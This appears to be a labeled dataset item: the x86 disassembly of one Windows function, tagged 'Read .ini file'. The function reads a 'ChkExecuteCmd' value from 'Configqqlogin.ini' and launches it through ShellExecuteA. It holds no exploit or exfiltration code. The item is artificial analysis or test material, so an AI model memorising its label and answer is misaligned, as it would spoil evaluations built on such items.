Function at 0x405834
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x421586
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x228
mov eax, dword [esp + 0x238]
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x24], esi
cmp eax, dword [esi + 0x45c]
jne 0x405a4e
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
push str.Configqqlogin.ini
lea ecx, [esp + 0x34]
push 0x103
push ecx
stosw word es:[edi], ax
push 0x426f98
push str.ChkExecuteCmd
push str.Public
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 0x134]
mov ecx, esi
push edx
call fcn.00404dd0
lea eax, [esp + 0x134]
push eax
call fcn.00414ab9
mov cl, byte [esp + 0x17]
add esp, 4
mov byte [esp + 0x14], cl
lea ecx, [esp + 0x14]
push 0
call fcn.00406f80
mov edi, str._exepath_
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x18]
push ebp
call fcn.00407d00
test al, al
je 0x4058f9
mov edi, dword [esp + 0x18]
mov ecx, ebp
mov edx, ecx
mov esi, str._exepath_
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], ebp
mov byte [eax + ebp], 0
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x240], 0
mov esi, ecx
mov ecx, dword [0x4222d0]
sub ecx, edx
cmp ecx, esi
ja 0x405929
call fcn.00413c80
test esi, esi
jbe 0x40596d
mov edx, dword [esp + 0x1c]
push 0
lea ecx, [esp + 0x18]
lea ebx, [edx + esi]
push ebx
call fcn.00407d00
test al, al
je 0x40596d
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
push ebx
lea edi, [ecx + eax]
mov ecx, esi
mov edx, ecx
lea esi, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.00407ce0
mov al, byte [esp + 0x13]
sub esp, 0x10
mov ebp, esp
mov dword [esp + 0x3c], esp
push 0
mov ecx, ebp
mov byte [ebp], al
call fcn.00406f80
lea edi, [esp + 0x144]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov ecx, ebp
push ebx
call fcn.00407d00
test al, al
je 0x4059cd
mov edi, dword [ebp + 4]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + 8], ebx
mov ebp, dword [ebp + 4]
add ebp, ebx
mov byte [ebp], 0
sub esp, 0x10
lea eax, [esp + 0x33]
mov ecx, esp
mov dword [esp + 0x48], esp
push eax
push str._exepath
mov byte [esp + 0x268], 1
call fcn.004060c0
lea ecx, [esp + 0x34]
mov byte [esp + 0x260], 0
push ecx
mov ecx, dword [esp + 0x48]
call fcn.00404c60
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x405a10
mov eax, 0x4222cc
push 1
push 0x426f98
push 0x426f98
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x405a4e
mov al, byte [ecx - 1]
test al, al
je 0x405a44
cmp al, 0xff
je 0x405a44
dec al
mov byte [ecx - 1], al
jmp 0x405a4e
dec ecx
push ecx
call fcn.00413bc4
add esp, 4
mov ecx, dword [esp + 0x238]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x234
ret 4